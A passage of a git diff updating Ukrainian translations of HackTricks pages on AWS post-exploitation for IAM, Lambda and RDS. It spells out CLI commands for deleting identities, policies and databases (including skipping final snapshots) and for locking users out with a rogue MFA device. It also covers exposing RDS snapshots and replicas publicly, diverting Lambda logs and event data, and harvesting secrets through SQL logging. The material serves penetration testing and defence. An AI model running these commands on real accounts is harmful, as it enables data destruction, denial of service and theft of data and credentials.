`iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — особа може видалити ключі доступу, профілі входу, SSH-ключі, облікові дані, специфічні для сервісу, профілі екземплярів, сертифікати або публічні ключі CloudFront, або відімкнути ролі від профілів екземплярів. Такі дії можуть негайно заблокувати легітимних користувачів і додатки та спричинити denial-of-service або втрату доступу для систем, що залежать від цих облікових даних, тому ці дозволи IAM мають бути суворо обмежені та під моніторингом. +Маючи будь-який із наступних дозволів — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — актор може видаляти access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates або CloudFront public keys, або відв'язувати ролі від instance profiles. Такі дії можуть негайно заблокувати легітимних користувачів та додатки і спричинити denial-of-service або втрату доступу для систем, що залежать від цих облікових даних, тому ці IAM permissions мають бути суворо обмежені та відстежувані. ```bash # Remove Access Key of a user aws iam delete-access-key \ @@ -100,7 +100,7 @@ aws iam delete-ssh-public-key \ --ssh-public-key-id APKAEIBAERJR2EXAMPLE ``` ### Видалення ідентичностей -З дозволами, такими як `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` або `iam:RemoveUserFromGroup`, зловмисник може видаляти користувачів, ролі або групи — або змінювати членство в групах — видаляючи ідентичності та пов'язані сліди. Це може негайно порушити доступ для людей і сервісів, які залежать від цих ідентичностей, спричиняючи відмову в обслуговуванні або втрату доступу, тому ці дії IAM мають бути строго обмежені й контролюватися. +Маючи дозволи на кшталт `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` або `iam:RemoveUserFromGroup`, актор може видаляти користувачів, ролі або групи — або змінювати членство в групі — видаляючи ідентичності та пов'язані сліди. Це може негайно порушити доступ для людей та сервісів, які залежать від цих ідентичностей, спричинивши denial-of-service або втрату доступу, тому ці дії IAM мають бути суворо обмежені й моніторовані. ```bash # Delete a user aws iam delete-user \ @@ -115,7 +115,7 @@ aws iam delete-role \ --role-name ``` ### -Маючи будь-яке з наведених дозволів — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — актор може видаляти або від’єднувати керовані/вбудовані політики, видаляти версії політик або межі дозволів, а також відв’язувати політики від користувачів, груп або ролей. Це руйнує авторизації й може змінити модель дозволів, спричиняючи негайну втрату доступу або відмову в обслуговуванні для суб’єктів, які покладалися на ці політики, тому ці IAM-дії мають бути суворо обмежені та відстежувані. +Маючи будь-який із наступних дозволів — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — актор може видаляти або від'єднувати керовані/вбудовані (inline) політики, видаляти версії політик або межі дозволів (permissions boundaries), а також відв'язувати політики від користувачів, груп чи ролей. Це руйнує авторизації та може змінити модель дозволів, спричиняючи негайну втрату доступу або відмову в обслуговуванні для суб'єктів, які покладалися на ці політики, тому ці IAM‑дії повинні бути суворо обмежені та підлягати моніторингу. ```bash # Delete a group policy aws iam delete-group-policy \ @@ -127,8 +127,8 @@ aws iam delete-role-policy \ --role-name \ --policy-name ``` -### Видалення федеративних провайдерів ідентичності -За допомогою `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` та `iam:RemoveClientIDFromOpenIDConnectProvider` особа може видалити OIDC/SAML identity providers або видалити client IDs. Це порушує федеративну автентифікацію, перешкоджаючи token validation і негайно позбавляє доступу користувачів та сервісів, що покладаються на SSO, доки IdP або конфігурації не будуть відновлені. +### Видалення федеративної ідентичності +За допомогою `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` та `iam:RemoveClientIDFromOpenIDConnectProvider` зловмисник може видалити провайдерів ідентичності OIDC/SAML або видалити client IDs. Це порушує федеративну автентифікацію, перешкоджаючи валідації токенів і негайно відмовляючи у доступі користувачам та сервісам, які залежать від SSO, доки IdP або конфігурації не буде відновлено. ```bash # Delete OIDCP provider aws iam delete-open-id-connect-provider \ @@ -138,8 +138,8 @@ aws iam delete-open-id-connect-provider \ aws iam delete-saml-provider \ --saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS ``` -### Неправомірна активація MFA -За допомогою `iam:EnableMFADevice` зловмисник може зареєструвати MFA-пристрій для облікового запису користувача, перешкоджаючи законному користувачу увійти. Після активації неавторизованого MFA користувач може бути заблокований допоки пристрій не буде видалено або скинуто (примітка: якщо зареєстровано декілька MFA-пристроїв, для входу вимагається лише один, тому ця атака не матиме ефекту відмови в доступі). +### Нелегітимна активація MFA +За допомогою `iam:EnableMFADevice` зловмисник може зареєструвати MFA-пристрій на ідентичності користувача, що завадить легітимному користувачу увійти в систему. Після того як несанкціонований MFA увімкнено, користувач може бути заблокований до видалення або скидання пристрою (примітка: якщо зареєстровано кілька MFA-пристроїв, для входу достатньо одного, тож ця атака не впливатиме на відмову в доступі). ```bash aws iam enable-mfa-device \ --user-name \ @@ -148,7 +148,7 @@ aws iam enable-mfa-device \ --authentication-code2 789012 ``` ### Маніпуляція метаданими сертифікатів/ключів -За допомогою `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` зловмисник може змінити статус або метадані публічних ключів та сертифікатів. Позначивши ключі/сертифікати як неактивні або змінивши посилання, вони можуть порушити SSH-аутентифікацію, анулювати перевірки X.509/TLS та негайно порушити роботу сервісів, що залежать від цих облікових даних, спричинивши втрату доступу або доступності. +За допомогою `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` актор може змінити статус або метадані публічних ключів та сертифікатів. Позначивши ключі/сертифікати як неактивні або змінивши їхні посилання, він може порушити автентифікацію SSH, зробити недійсними перевірки X.509/TLS і негайно порушити роботу сервісів, які залежать від цих облікових даних, спричиняючи втрату доступу або доступності. ```bash aws iam update-ssh-public-key \ --user-name \ @@ -159,6 +159,33 @@ aws iam update-server-certificate \ --server-certificate-name \ --new-path /prod/ ``` +### `iam:Delete*` + +Шаблон IAM iam:Delete* надає можливість видаляти багато типів ресурсів IAM — користувачів, ролей, груп, політик, ключів, сертифікатів, пристроїв MFA, версій політик тощо — і тому має дуже велику зону ураження: суб'єкт, якому надано iam:Delete*, може назавжди знищити ідентичності, облікові дані, політики та пов'язані артефакти, видалити аудиторські дані/докази та спричинити відмови сервісів або операційні перебої. Деякі приклади: +```bash +# Delete a user +aws iam delete-user --user-name + +# Delete a role +aws iam delete-role --role-name + +# Delete a managed policy +aws iam delete-policy --policy-arn arn:aws:iam:::policy/ +``` +### `iam:EnableMFADevice` + +Актор, якому надано дію iam:EnableMFADevice, може зареєструвати MFA device для identity в акаунті, за умови, що user раніше не мав увімкненого MFA. Це може використовуватись, щоб перешкодити доступу user: якщо attacker зареєструє MFA device, легітимному user може бути заборонено увійти, оскільки він не контролює MFA, зареєстроване attacker. + +Ця атака відмови в доступі працює тільки якщо user не мав зареєстрованого MFA; якщо attacker зареєструє MFA device для цього user, легітимний user буде заблокований у будь-яких потоках, що вимагають цього нового MFA. Якщо user вже має один або більше MFA devices під своїм контролем, додавання attacker-controlled MFA не блокує легітимного user — він може продовжувати автентифікуватися, використовуючи будь-який наявний MFA. + +Щоб увімкнути (зареєструвати) MFA device для user, attacker може виконати: +```bash +aws iam enable-mfa-device \ +--user-name \ +--serial-number arn:aws:iam::111122223333:mfa/alice \ +--authentication-code1 123456 \ +--authentication-code2 789012 +``` ## Посилання - [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index 2e7eba0e4..e40124bad 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -1,24 +1,30 @@ -# AWS - Lambda Post Exploitation +# AWS - Lambda Пост-експлуатація {{#include ../../../../banners/hacktricks-training.md}} ## Lambda -For more information check: +Для додаткової інформації див.: {{#ref}} ../../aws-services/aws-lambda-enum.md {{#endref}} -### Exfilrtate Lambda Credentials +### Експфільтрація Lambda Credentials -Lambda використовує змінні середовища для інжекції credentials під час виконання. Якщо ви можете отримати до них доступ (читанням `/proc/self/environ` або використавши вразливу функцію), ви можете використати їх самостійно. Вони зберігаються в стандартних іменах змінних `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, and `AWS_ACCESS_KEY_ID`. +Lambda використовує змінні середовища для ін'єкції облікових даних під час виконання. Якщо ви можете отримати до них доступ (наприклад, прочитавши `/proc/self/environ` або використавши саму вразливу функцію), ви можете використовувати їх самостійно. Вони зберігаються у змінних за замовчуванням `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY` та `AWS_ACCESS_KEY_ID`. -By default, these will have access to write to a cloudwatch log group (the name of which is stored in `AWS_LAMBDA_LOG_GROUP_NAME`), as well as to create arbitrary log groups, however lambda functions frequently have more permissions assigned based on their intended use. +За замовчуванням ці облікові дані матимуть доступ на запис у cloudwatch log group (назва якої зберігається в `AWS_LAMBDA_LOG_GROUP_NAME`), а також на створення довільних log group; проте lambda functions часто мають більше дозволів, призначених відповідно до їхнього призначення. +### `lambda:Delete*` +Зловмисник, якому надано `lambda:Delete*`, може видаляти Lambda functions, versions/aliases, layers, event source mappings та інші пов'язані конфігурації. +```bash +aws lambda delete-function \ +--function-name +``` ### Steal Others Lambda URL Requests -If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them. +Якщо атакуючому якимось чином вдасться отримати RCE всередині Lambda, він зможе викрасти HTTP-запити інших користувачів до цієї Lambda. Якщо запити містять конфіденційну інформацію (cookies, credentials...), він зможе їх викрасти. {{#ref}} aws-warm-lambda-persistence.md @@ -26,7 +32,7 @@ aws-warm-lambda-persistence.md ### Steal Others Lambda URL Requests & Extensions Requests -Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests. +Зловживаючи Lambda Layers, також можна використовувати extensions для забезпечення персистенції в Lambda, а також викрадати й модифікувати запити. {{#ref}} ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md @@ -34,7 +40,7 @@ Abusing Lambda Layers it's also possible to abuse extensions and persist in the ### AWS Lambda – VPC Egress Bypass -Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT. +Примусово виведіть Lambda function з обмеженого VPC, оновивши його конфігурацію порожнім VpcConfig (SubnetIds=[], SecurityGroupIds=[]). Функція тоді виконуватиметься в мережевій площині, керованій Lambda, відновлюючи доступ до зовнішнього інтернету та обходячи обмеження вихідного трафіку, що застосовуються приватними VPC підмережами без NAT. {{#ref}} aws-lambda-vpc-egress-bypass.md @@ -42,7 +48,7 @@ aws-lambda-vpc-egress-bypass.md ### AWS Lambda – Runtime Pinning/Rollback Abuse -Abuse `lambda:PutRuntimeManagementConfig` to pin a function to a specific runtime version (Manual) or freeze updates (FunctionUpdate). This preserves compatibility with malicious layers/wrappers and can keep the function on an outdated, vulnerable runtime to aid exploitation and long-term persistence. +Зловживайте `lambda:PutRuntimeManagementConfig`, щоб зафіксувати функцію на конкретній версії runtime (Manual) або заморозити оновлення (FunctionUpdate). Це зберігає сумісність з шкідливими layers/wrappers і може утримувати функцію на застарілому, вразливому runtime, полегшуючи експлуатацію та довготривалу персистенцію. {{#ref}} aws-lambda-runtime-pinning-abuse.md @@ -50,7 +56,7 @@ aws-lambda-runtime-pinning-abuse.md ### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection -Abuse `lambda:UpdateFunctionConfiguration` advanced logging controls to redirect a function’s logs to an attacker-chosen CloudWatch Logs log group. This works without changing code or the execution role (most Lambda roles already include `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). If the function prints secrets/request bodies or crashes with stack traces, you can collect them from the new log group. +Зловживайте `lambda:UpdateFunctionConfiguration` просунутими налаштуваннями логування, щоб перенаправити логи функції в CloudWatch Logs log group, обраний атакуючим. Це працює без зміни коду або execution role (більшість Lambda ролей вже включають `logs:CreateLogGroup/CreateLogStream/PutLogEvents` через `AWSLambdaBasicExecutionRole`). Якщо функція виводить secrets/request bodies або аварійно завершується зі stack traces, ви можете зібрати їх із нового log group. {{#ref}} aws-lambda-loggingconfig-redirection.md @@ -58,7 +64,7 @@ aws-lambda-loggingconfig-redirection.md ### AWS - Lambda Function URL Public Exposure -Turn a private Lambda Function URL into a public unauthenticated endpoint by switching the Function URL AuthType to NONE and attaching a resource-based policy that grants lambda:InvokeFunctionUrl to everyone. This enables anonymous invocation of internal functions and can expose sensitive backend operations. +Перетворіть приватний Lambda Function URL на публічний неаутентифікований endpoint, переключивши Function URL AuthType на NONE та прикріпивши resource-based policy, яка надає lambda:InvokeFunctionUrl всім. Це дозволяє анонімно викликати внутрішні функції і може викрити конфіденційні backend-операції. {{#ref}} aws-lambda-function-url-public-exposure.md @@ -66,7 +72,7 @@ aws-lambda-function-url-public-exposure.md ### AWS Lambda – Event Source Mapping Target Hijack -Abuse `UpdateEventSourceMapping` to change the target Lambda function of an existing Event Source Mapping (ESM) so that records from DynamoDB Streams, Kinesis, or SQS are delivered to an attacker-controlled function. This silently diverts live data without touching producers or the original function code. +Зловживайте `UpdateEventSourceMapping`, щоб змінити цільову Lambda function існуючого Event Source Mapping (ESM), так щоб записи з DynamoDB Streams, Kinesis або SQS доставлялися до функції під контролем атакуючого. Це непомітно відводить живі дані без змін у продюсерах або коді оригінальної функції. {{#ref}} aws-lambda-event-source-mapping-hijack.md @@ -74,7 +80,7 @@ aws-lambda-event-source-mapping-hijack.md ### AWS Lambda – EFS Mount Injection data exfiltration -Abuse `lambda:UpdateFunctionConfiguration` to attach an existing EFS Access Point to a Lambda, then deploy trivial code that lists/reads files from the mounted path to exfiltrate shared secrets/config that the function previously couldn’t access. +Зловживайте `lambda:UpdateFunctionConfiguration`, щоб приєднати існуючий EFS Access Point до Lambda, а потім розгорнути тривіальний код, який перераховує/читає файли з підключеного шляху для ексфільтрації спільних секретів/конфігів, до яких функція раніше не мала доступу. {{#ref}} aws-lambda-efs-mount-injection.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md index 88e8704d5..b24b72201 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md @@ -12,7 +12,7 @@ ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance` -Якщо в атакуючого є достатні дозволи, він може зробити **DB публічно доступною**, створивши знімок (snapshot) бази даних, а потім відновивши з нього публічно доступну DB. +Якщо attacker має достатні permissions, він може зробити **DB публічно доступною**, створивши snapshot DB, а потім створивши з цього snapshot публічно доступний DB. ```bash aws rds describe-db-instances # Get DB identifier @@ -38,11 +38,47 @@ aws rds modify-db-instance \ # Connect to the new DB after a few mins ``` +### `rds:StopDBCluster` & `rds:StopDBInstance` +Атакуючий, який має права `rds:StopDBCluster` або `rds:StopDBInstance`, може примусово зупинити `RDS` instance або весь кластер, що призведе до недоступності бази даних, перерваних з'єднань і припинення процесів, які залежать від бази даних. + +Щоб зупинити один DB instance (приклад): +```bash +aws rds stop-db-instance \ +--db-instance-identifier +``` +Щоб зупинити весь кластер БД (приклад): +```bash +aws rds stop-db-cluster \ +--db-cluster-identifier +``` +### `rds:Delete*` + +Атакувальник, якому надано rds:Delete*, може видалити ресурси RDS — видалити DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups та пов'язані артефакти, що спричинить негайний простій сервісу, втрату даних, знищення точок відновлення та втрату судових доказів. +```bash +# Delete a DB instance (creates a final snapshot unless you skip it) +aws rds delete-db-instance \ +--db-instance-identifier \ +--final-db-snapshot-identifier # omit or replace with --skip-final-snapshot to avoid snapshot + +# Delete a DB instance and skip final snapshot (more destructive) +aws rds delete-db-instance \ +--db-instance-identifier \ +--skip-final-snapshot + +# Delete a manual DB snapshot +aws rds delete-db-snapshot \ +--db-snapshot-identifier + +# Delete an Aurora DB cluster (creates a final snapshot unless you skip) +aws rds delete-db-cluster \ +--db-cluster-identifier \ +--final-db-snapshot-identifier # or use --skip-final-snapshot +``` ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -Атакуючий із такими дозволами може **створити сніпшот DB** і зробити його **публічно** **доступним**. Потім він може просто створити у власному акаунті DB з цього сніпшоту. +Зловмисник з такими правами може **створити snapshot DB** і зробити його **публічно** **доступним**. Потім він може просто створити у своєму акаунті DB з цього snapshot. -Якщо атакуючий **не має `rds:CreateDBSnapshot`**, він все одно може зробити **інші** створені сніпшоти **публічними**. +Якщо зловмисник **не має `rds:CreateDBSnapshot`**, він все одно може зробити **інші** створені snapshots **публічними**. ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier @@ -53,48 +89,48 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier -- ``` ### `rds:DownloadDBLogFilePortion` -Зловмисник із дозволом `rds:DownloadDBLogFilePortion` може **download portions of an RDS instance's log files**. Якщо чутливі дані або облікові дані доступу випадково заносяться до журналів, зловмисник потенційно може використати цю інформацію для підвищення своїх привілеїв або виконання несанкціонованих дій. +Зловмисник, який має дозвіл `rds:DownloadDBLogFilePortion`, може **завантажувати частини файлів журналу екземпляра RDS**. Якщо чутливі дані або облікові дані доступу випадково потрапили до журналу, зловмисник потенційно може використати цю інформацію для підвищення своїх привілеїв або виконання несанкціонованих дій. ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` -**Potential Impact**: Доступ до конфіденційної інформації або несанкціоновані дії з використанням leaked credentials. +**Потенційний вплив**: Доступ до конфіденційної інформації або несанкціоновані дії з використанням leaked credentials. ### `rds:DeleteDBInstance` -Зловмисник з цими дозволами може **DoS існуючі RDS instances**. +Зловмисник з такими дозволами може **DoS existing RDS instances**. ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot ``` -**Можливі наслідки**: Видалення існуючих RDS instances та можливі втрати даних. +**Потенційний вплив**: Видалення існуючих екземплярів RDS і потенційна втрата даних. ### `rds:StartExportTask` > [!NOTE] -> TODO: Перевірити +> TODO: Протестувати -Зловмисник з цим дозволом може **експортувати RDS instance snapshot до S3 bucket**. Якщо зловмисник має контроль над цільовим S3 bucket, він може потенційно отримати доступ до конфіденційних даних у експортованому snapshot. +Зловмисник із цим дозволом може **експортувати знімок екземпляра RDS у S3 bucket**. Якщо зловмисник контролює цільовий S3 bucket, він може потенційно отримати доступ до конфіденційних даних у експортованому знімку. ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` -**Можливий вплив**: Доступ до чутливих даних у експортованому знімку. +**Потенційний вплив**: Доступ до конфіденційних даних у експортованому знімку. -### Міжрегіональна реплікація автоматичних резервних копій для прихованого відновлення (`rds:StartDBInstanceAutomatedBackupsReplication`) +### Міжрегіональна реплікація автоматичних бекапів для прихованого відновлення (`rds:StartDBInstanceAutomatedBackupsReplication`) -Зловживати міжрегіональною реплікацією автоматичних резервних копій, щоб тихо дублювати автоматичні резервні копії інстансу RDS в інший AWS Region і відновлювати їх там. Атакувальник може потім зробити відновлену БД загальнодоступною та скинути master password для доступу до даних поза каналами моніторингу в регіоні, який захисники можуть не контролювати. +Зловживати міжрегіональною реплікацією автоматичних бекапів, щоб тихо дублювати автоматичні бекапи інстансу RDS в інший AWS Region та відновити їх там. Атакувальник може потім зробити відновлену DB публічно доступною та скинути master password, щоб отримати доступ до даних поза межею моніторингу в регіоні, який захисники можуть не контролювати. -Permissions needed (minimum): -- `rds:StartDBInstanceAutomatedBackupsReplication` у регіоні призначення -- `rds:DescribeDBInstanceAutomatedBackups` у регіоні призначення -- `rds:RestoreDBInstanceToPointInTime` у регіоні призначення -- `rds:ModifyDBInstance` у регіоні призначення -- `rds:StopDBInstanceAutomatedBackupsReplication` (опціональне очищення) -- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (щоб відкрити доступ до відновленої БД) +Потрібні дозволи (мінімум): +- `rds:StartDBInstanceAutomatedBackupsReplication` у цільовому регіоні +- `rds:DescribeDBInstanceAutomatedBackups` у цільовому регіоні +- `rds:RestoreDBInstanceToPointInTime` у цільовому регіоні +- `rds:ModifyDBInstance` у цільовому регіоні +- `rds:StopDBInstanceAutomatedBackupsReplication` (необов'язкове очищення) +- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (щоб відкрити доступ до відновленої DB) -Наслідки: утримання доступу та ексфільтрація даних шляхом відновлення копії виробничих даних в інший регіон і зроблення її публічно доступною з обліковими даними, контрольованими атакуючим. +Вплив: Persistence та data exfiltration шляхом відновлення копії production data в інший регіон і публічного надання доступу з обліковими даними під контролем атакувальника.
-End-to-end CLI (замініть заповнювачі) +End-to-end CLI (замініть плейсхолдери) ```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ @@ -163,26 +199,26 @@ aws rds stop-db-instance-automated-backups-replication \
-### Увімкнути повне SQL логування через DB parameter groups та exfiltrate через RDS log APIs +### Увімкнути повне SQL-логування через DB parameter groups та ексфільтрувати через RDS log APIs -Зловживати `rds:ModifyDBParameterGroup` разом із RDS log download APIs, щоб захопити всі SQL statements, виконувані додатками (не потрібні облікові дані DB engine). Увімкніть engine SQL logging і витягніть файли логів через `rds:DescribeDBLogFiles` та `rds:DownloadDBLogFilePortion` (або REST `downloadCompleteLogFile`). Корисно для збору queries, які можуть містити secrets/PII/JWTs. +Зловживати `rds:ModifyDBParameterGroup` разом із RDS log download APIs, щоб захопити всі SQL-оператори, які виконуються додатками (не потрібні облікові дані DB engine). Увімкніть логування SQL на рівні engine та завантажуйте файли логів через `rds:DescribeDBLogFiles` і `rds:DownloadDBLogFilePortion` (або REST `downloadCompleteLogFile`). Корисно для збору запитів, які можуть містити secrets/PII/JWTs. -Permissions needed (minimum): +Необхідні права (мінімум): - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion` - `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup` -- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one) -- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL) +- `rds:ModifyDBInstance` (тільки для приєднання власної parameter group, якщо інстанс використовує group за замовчуванням) +- `rds:RebootDBInstance` (для параметрів, що вимагають reboot, напр., PostgreSQL) -Steps -1) Recon target and current parameter group +Кроки +1) Recon target і current parameter group ```bash aws rds describe-db-instances \ --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \ --output table ``` -2) Переконайтеся, що прикріплено кастомну DB parameter group (не можна редагувати default) -- Якщо instance вже використовує кастомну групу, використайте її назву на наступному кроці. -- Інакше створіть та прикріпіть групу, що відповідає engine family: +2) Переконайтеся, що приєднано користувацьку DB parameter group (параметри за замовчуванням редагувати не можна) +- Якщо instance вже використовує користувацьку групу, повторно використайте її назву в наступному кроці. +- Інакше створіть і приєднайте групу, що відповідає engine family: ```bash # Example for PostgreSQL 16 aws rds create-db-parameter-group \ @@ -196,8 +232,8 @@ aws rds modify-db-instance \ --apply-immediately # Wait until status becomes "available" ``` -3) Увімкнути докладне SQL-логування -- MySQL engines (негайно / без перезавантаження): +3) Увімкнути докладне логування SQL +- MySQL двигуни (негайно / без перезавантаження): ```bash aws rds modify-db-parameter-group \ --db-parameter-group-name \ @@ -208,7 +244,7 @@ aws rds modify-db-parameter-group \ # "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \ # "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate" ``` -- PostgreSQL рушії (вимагає перезавантаження): +- PostgreSQL engines (перезавантаження необхідне): ```bash aws rds modify-db-parameter-group \ --db-parameter-group-name \ @@ -220,11 +256,11 @@ aws rds modify-db-parameter-group \ # Reboot if any parameter is pending-reboot aws rds reboot-db-instance --db-instance-identifier ``` -4) Дозвольте виконанню робочого навантаження (або згенеруйте запити). Запити будуть записані у файли журналів engine +4) Дозвольте навантаженню виконуватись (або згенеруйте запити). SQL-вирази будуть записані у файли логів engine - MySQL: `general/mysql-general.log` - PostgreSQL: `postgresql.log` -5) Знайдіть і завантажте логи (не потрібні DB creds) +5) Виявіть і завантажте логи (облікові дані БД не потрібні) ```bash aws rds describe-db-log-files --db-instance-identifier @@ -235,18 +271,18 @@ aws rds download-db-log-file-portion \ --starting-token 0 \ --output text > dump.log ``` -6) Аналізуйте офлайн на наявність чутливих даних +6) Проаналізувати офлайн на предмет конфіденційних даних ```bash grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head ``` -Приклад доказів (зачернено): +Приклад доказів (зачищено): ```text 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!') 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED') 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED') ``` -Очищення -- Повернути параметри до значень за замовчуванням та перезавантажити систему, якщо потрібно: +Cleanup +- Повернути параметри до значень за замовчуванням та перезавантажити, якщо потрібно: ```bash # MySQL aws rds modify-db-parameter-group \ @@ -261,19 +297,19 @@ aws rds modify-db-parameter-group \ "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot" # Reboot if pending-reboot ``` -Вплив: Post-exploitation доступ до даних шляхом захоплення всіх SQL-запитів додатка через AWS APIs (no DB creds), потенційно leaking secrets, JWTs та PII. +Вплив: Post-exploitation доступ до даних шляхом перехоплення всіх SQL-запитів додатку через AWS APIs (no DB creds), potentially leaking secrets, JWTs, and PII. ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance` -Зловживання RDS read replicas для отримання out-of-band доступу для читання без доступу до облікових даних primary instance. Атакувальник може створити read replica з production instance, скинути master password репліки (це не змінює primary), і за бажанням зробити репліку публічною для exfiltrate data. +Зловживання RDS read replicas для отримання out-of-band доступу для читання без доступу до облікових даних primary instance. Атакуючий може створити read replica з production instance, скинути master password репліки (this does not change the primary) і за бажанням відкрити репліку публічно для exfiltrate даних. -Потрібні права (мінімум): +Потрібні дозволи (мінімум): - `rds:DescribeDBInstances` - `rds:CreateDBInstanceReadReplica` - `rds:ModifyDBInstance` -- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly) +- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (якщо робити публічно) -Вплив: Доступ лише для читання до production даних через репліку з обліковими даними під контролем атакувальника; менша ймовірність виявлення, оскільки primary залишається недоторканою і реплікація продовжується. +Вплив: Read-only доступ до production даних через replica з attacker-controlled credentials; нижча ймовірність виявлення, оскільки primary залишається недоторканим і replication продовжується. ```bash # 1) Recon: find non-Aurora sources with backups enabled aws rds describe-db-instances \ @@ -305,12 +341,12 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier # aws rds promote-read-replica --db-instance-identifier ``` Приклад доказів (MySQL): -- Статус репліки DB: `available`, реплікація для читання: `replicating` -- Успішне підключення з новим паролем та `@@read_only=1`, що підтверджує доступ до репліки лише для читання. +- Статус репліки БД: `available`, read replication: `replicating` +- Успішне підключення з новим паролем та `@@read_only=1`, що підтверджує доступ лише для читання до репліки. ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance` -Зловмисне використання RDS Blue/Green дозволяє клонувати production DB у постійно репліковане середовище green з доступом лише для читання. Потім скиньте green master credentials, щоб отримати доступ до даних, не торкаючись blue (prod) інстансу. Це більш приховано, ніж snapshot sharing, і часто обходить моніторинг, спрямований лише на джерело. +Зловживайте RDS Blue/Green, щоб клонувати production DB у безперервно репліковане, тільки для читання green середовище. Потім скиньте green master credentials, щоб отримати доступ до даних, не зачіпаючи blue (prod) instance. Це менш 